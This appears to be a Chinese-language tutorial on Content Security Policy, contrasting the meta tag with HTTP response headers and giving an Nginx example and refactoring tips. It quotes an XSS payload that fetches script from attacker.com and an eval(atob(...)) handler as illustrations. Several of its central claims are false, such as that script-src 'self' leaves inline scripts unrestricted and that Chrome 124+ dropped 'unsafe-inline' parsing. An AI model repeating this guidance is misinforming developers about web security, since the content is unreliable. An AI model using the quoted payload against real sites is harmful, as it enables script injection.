meta标签无法阻断第三方内联脚本，因其对内联脚本无硬性约束且浏览器默认允许执行；唯一可靠方式是通过http响应头配置default-src 'none'并配合nonce或hash严格管控。
Meta标签根本拦不住第三方内联脚本
直接说结论：<meta http-equiv="Content-Security-Policy"> 对第三方内联脚本（比如 <script>fetch('https://attacker.com/xss.js')</script> 或 <button onclick="eval(atob('...'))"></button>）不具备硬性阻断能力。它既不能阻止执行，也不能提供可靠日志，上线后基本等于没配。
为什么写 script-src 'self' 在 meta 里毫无作用
常见错误是以为加了 script-src 'self' 就能拦第三方脚本——其实它只约束 <script src="..."></script> 的来源，对内联脚本完全不设防。浏览器默认允许所有内联执行，除非你显式排除或用 nonce/hash 控制。
-
script-src 'self'写在<meta>中，Safari 16.4 之前版本会静默丢弃整条指令 - Chrome 124+ 已移除对
'unsafe-inline'的解析支持，但写了也当没写 - 就算侥幸生效，它也无法覆盖
onclick、onerror、javascript:伪协议等载体 - 第三方内联脚本一旦出现在 HTML 解析流中，早于
<meta>标签位置，就已触发执行或被拒绝——此时 CSP 还没注册
真正能阻断的唯一路径：HTTP 响应头 + default-src 'none'
硬性阻断第三方内联脚本，必须放弃 <meta>，改用服务端响应头，并以 default-src 'none' 为起点收紧策略。这是目前唯一被主流浏览器一致支持、不可绕过的方式。
-
default-src 'none'是关键：它让所有未显式声明的资源类型（包括内联脚本）默认失效，避免漏配导致宽松回退 -
script-src 'self'必须配合nonce-或sha256-才能放行合法内联，且 nonce 必须每次响应动态生成，不能硬编码 -
frame-ancestors、report-to、base-uri等指令在<meta>中完全无效，只能靠响应头 - Nginx 示例：
add_header Content-Security-Policy "default-src 'none'; script-src 'self' 'nonce-{DYNAMIC_VALUE}'; connect-src 'self'; form-action 'self'; object-src 'none'; base-uri 'self'; report-to csp-endpoint";
最容易被忽略的落地细节
不是配完响应头就万事大吉。真正卡住上线的，往往是前端代码里散落的内联逻辑——它们不会报错，直到 CSP 生效才静默失效。
-
onclick、onsubmit等属性无法挂nonce，必须全部重构为addEventListener -
innerHTML += '<script>...</script>'类拼接操作，在 CSP 下直接失败，得改用textContent或预编译模板 - Webpack 插件自动生成
<meta>和手动添加容易重复，浏览器只认第一个，其余静默丢弃 - 本地用
file://打开 HTML 时，CSP 全面关闭——测试必须走真实 HTTP 服务
前端入门到VUE实战笔记：立即使用
在学习笔记中，你将探索 前端 的入门与实战技巧！
